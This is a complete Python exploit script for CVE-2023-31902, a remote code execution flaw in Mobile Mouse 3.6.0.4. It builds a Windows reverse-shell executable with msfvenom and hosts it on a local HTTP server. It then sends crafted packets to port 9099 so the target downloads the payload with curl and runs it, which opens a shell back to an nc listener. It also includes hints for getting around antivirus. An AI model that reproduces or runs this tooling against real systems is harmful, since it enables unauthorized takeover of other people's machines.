#!/usr/bin/env python3 """ CVE-2023-31902 - Mobile Mouse 3.6.0.4 RCE @Mahdiesta / xl337x """ import socket, os, sys, subprocess, threading, http.server, socketserver, shutil from time import sleep G="\033[32m"; Y="\033[33m"; R="\033[31m"; B="\033[34m"; W="\033[0m" def ok(m): print(f"{G}[+]{W} {m}") def err(m): print(f"{R}[-]{W} {m}") def inf(m): print(f"{B}[*]{W} {m}") def warn(m): print(f"{Y}[!]{W} {m}") def banner(): print(f"""{G} ███╗ ███╗ ██████╗ ██████╗ ██╗██╗ ███████╗ ███╗ ███╗ ██████╗ ██╗ ██╗███████╗███████╗ ████╗ ████║██╔═══██╗██╔══██╗██║██║ ██╔════╝ ████╗ ████║██╔═══██╗██║ ██║██╔════╝██╔════╝ ██╔████╔██║██║ ██║██████╔╝██║██║ █████╗ ██╔████╔██║██║ ██║██║ ██║███████╗█████╗ ██║╚██╔╝██║██║ ██║██╔══██╗██║██║ ██╔══╝ ██║╚██╔╝██║██║ ██║██║ ██║╚════██║██╔══╝ ██║ ╚═╝ ██║╚██████╔╝██████╔╝██║███████╗███████╗ ██║ ╚═╝ ██║╚██████╔╝╚██████╔╝███████║███████╗ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝{W} {Y}CVE-2023-31902 | Mobile Mouse 3.6.0.4 RCE | @Mahdiesta / xl337x{W} """) # ── Input helpers ───────────────────────────────────────────────────────────── def ask(prompt, default=None): if default is not None: val = input(f" {G}{prompt}{W} [{Y}{default}{W}]: ").strip() return val if val else str(default) while True: val = input(f" {G}{prompt}{W}: ").strip() if val: return val print(f" {R}Cannot be empty.{W}") def ask_yn(prompt, default="y"): val = input(f" {Y}{prompt} [{default.upper()}/{'n' if default=='y' else 'Y'}]{W}: ").strip().lower() if not val: return default == "y" return val in ("y","yes") def resolve_lhost(val): val = val.strip() try: socket.inet_aton(val) return val, None except socket.error: pass try: out = subprocess.check_output( ["ip", "-4", "addr", "show", val], stderr=subprocess.DEVNULL ).decode() for line in out.splitlines(): line = line.strip() if line.startswith("inet "): return line.split()[1].split("/")[0], None except Exception: pass return None, f"'{val}' is not a valid IP or interface" def ask_ip(prompt): while True: raw = ask(prompt) ip, e = resolve_lhost(raw) if ip: if raw != ip: ok(f"Resolved {raw} → {ip}") return ip err(e + " — try again") def ask_port(prompt, default): while True: val = ask(prompt, default=default) try: p = int(val) if 1 <= p <= 65535: return p err("Port must be 1–65535") except ValueError: err("Enter a number") # ── Payload helpers ─────────────────────────────────────────────────────────── def generate_payload(lhost, lport, outfile): if not shutil.which("msfvenom"): err("msfvenom not found") return False inf(f"Generating → {outfile} (LHOST={lhost} LPORT={lport}) ...") r = subprocess.run( ["msfvenom", "-p", "windows/x64/shell_reverse_tcp", f"LHOST={lhost}", f"LPORT={lport}", "-f", "exe", "-o", outfile], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) if r.returncode == 0 and os.path.isfile(outfile) and os.path.getsize(outfile) > 0: ok(f"Payload ready: {outfile} ({os.path.getsize(outfile)} bytes)") return True err("msfvenom failed — check msfvenom manually") return False def ensure_payload(payload_path, lhost, lport, payload_name): """ Smart payload check: - Missing or empty → auto-generate (ask) - Exists → ask if LPORT is correct, offer regenerate if not Always returns True if we have a valid payload, False to abort. """ if not os.path.isfile(payload_path) or os.path.getsize(payload_path) == 0: warn(f"Payload not found: {payload_path}") if ask_yn(f"Auto-generate with msfvenom? (LHOST={lhost} LPORT={lport})"): return generate_payload(lhost, lport, payload_path) err("Cannot continue without payload") return False # File exists — ask about LPORT size = os.path.getsize(payload_path) ok(f"Found existing payload: {payload_path} ({size} bytes)") warn(f"Was this payload compiled with LPORT={lport}?") correct = ask_yn(f"Yes, LPORT={lport} is correct — use this payload") if correct: return True # Regenerate inf("Regenerating payload with correct LPORT...") return generate_payload(lhost, lport, payload_path) # ── Network helpers ─────────────────────────────────────────────────────────── def port_open(host, port, timeout=6, retries=3): for _ in range(retries): try: s = socket.socket() s.settimeout(timeout) r = s.connect_ex((host, port)) s.close() if r == 0: return True except Exception: pass sleep(1) return False def kill_port(port): if shutil.which("fuser"): subprocess.run(["fuser", "-k", f"{port}/tcp"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) sleep(1) return True return False def start_http(serve_dir, port): class Q(http.server.SimpleHTTPRequestHandler): def __init__(self, *a, **k): super().__init__(*a, directory=serve_dir, **k) def log_message(self, *a): pass for attempt in range(2): try: srv = socketserver.TCPServer(("", port), Q) srv.allow_reuse_address = True threading.Thread(target=srv.serve_forever, daemon=True).start() return srv except OSError: if attempt == 0: warn(f"Port {port} busy — killing it automatically...") kill_port(port) else: err(f"Cannot bind port {port}. Run: sudo fuser -k {port}/tcp") return None # ── Exploit core ────────────────────────────────────────────────────────────── TARGET_PORT = 9099 def exploit(target, lhost, http_port, payload_name): CONN = bytearray.fromhex( "434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04" ) RUN = bytearray.fromhex("4b45591e3131341e721e4f505404") def connect(): s = socket.socket() s.settimeout(15) s.connect((target, TARGET_PORT)) return s def make_cmd(cmd_str): h = cmd_str.encode("utf-8").hex() return bytearray.fromhex( "4B45591E3130301E" + h + "1E04" + "4b45591e2d311e454e5445521e04" ) try: inf("Phase 1 — download payload on target...") s = connect() s.send(CONN); s.recv(54) s.send(RUN); s.recv(54) sleep(0.5) dl = (f"curl http://{lhost}:{http_port}/{payload_name}" f" -o c:\\Windows\\Temp\\{payload_name}") inf(f" {dl}") s.send(make_cmd(dl)); s.recv(96) s.close() inf("Waiting 10s for download...") sleep(10) inf("Phase 2 — execute payload...") s = connect() s.send(CONN); s.recv(54) s.send(RUN); s.recv(54) sleep(0.5) run = f"c:\\Windows\\Temp\\{payload_name}" inf(f" {run}") s.send(make_cmd(run)); s.recv(96) s.close() sleep(3) return True except Exception as e: err(f"Exploit error: {e}") try: s.close() except: pass return False # ── Main ────────────────────────────────────────────────────────────────────── def main(): banner() inf("Fill in your engagement details\n") # Inputs target = ask_ip("Target IP") lhost = ask_ip("Your IP or interface (tun0 or IP)") lport = ask_port("Your nc listener port (LPORT)", 9099) http_port = ask_port("HTTP delivery port", 8080) payload_name = ask("Payload filename", default="shell.exe") payload_path = os.path.join(os.getcwd(), payload_name) # Config summary print(f""" {B}[*] ─── Config ──────────────────────────────────────{W} Target : {G}{target}:9099{W} (TCP — fixed) LHOST : {G}{lhost}{W} LPORT : {Y}{lport}{W} ← must match payload + listener HTTP server : {B}:{http_port}{W} Payload : {payload_path} {B}[*] ──────────────────────────────────────────────────{W} """) inf("Checks...\n") # Smart payload check if not ensure_payload(payload_path, lhost, lport, payload_name): sys.exit(1) # Target reachable if not port_open(target, TARGET_PORT): warn(f"Port {TARGET_PORT} probe failed on {target} (filtered or slow).") warn(f"Verify externally: nmap -p {TARGET_PORT} {target} | rustscan -a {target}") if not ask_yn("Continue anyway?", default="n"): sys.exit(1) else: ok(f"Port {TARGET_PORT} open on {target}") # HTTP server httpd = start_http(os.getcwd(), http_port) if not httpd: sys.exit(1) ok(f"HTTP server :{http_port} → {os.getcwd()}") sleep(1) # Listener reminder print(f""" {Y}[!] Start your listener NOW in another terminal:{W} {G}rlwrap nc -nlvp {lport}{W} or {G}penelope -p {lport}{W} """) input(f" {Y}Press ENTER when listener is ready...{W} ") # Fire success = exploit(target, lhost, http_port, payload_name) httpd.shutdown() if success: print(f"\n{G}[+] Exploit complete! Check your listener on port {lport}{W}") print(f" Shell from: {G}{target}{W}") else: print(f"\n{R}[-] Failed. Checklist:{W}") print(f" 1. Listener running? rlwrap nc -nlvp {lport}") print(f" 2. Payload LPORT? msfvenom ... LPORT={lport} -o {payload_name}") print(f" 3. Port reachable? nc -zv {target} {TARGET_PORT}") print(f" 4. AV blocking? try encoded payload") if __name__ == "__main__": try: main() except KeyboardInterrupt: print(f"\n{R}[-]{W} Interrupted") sys.exit(0)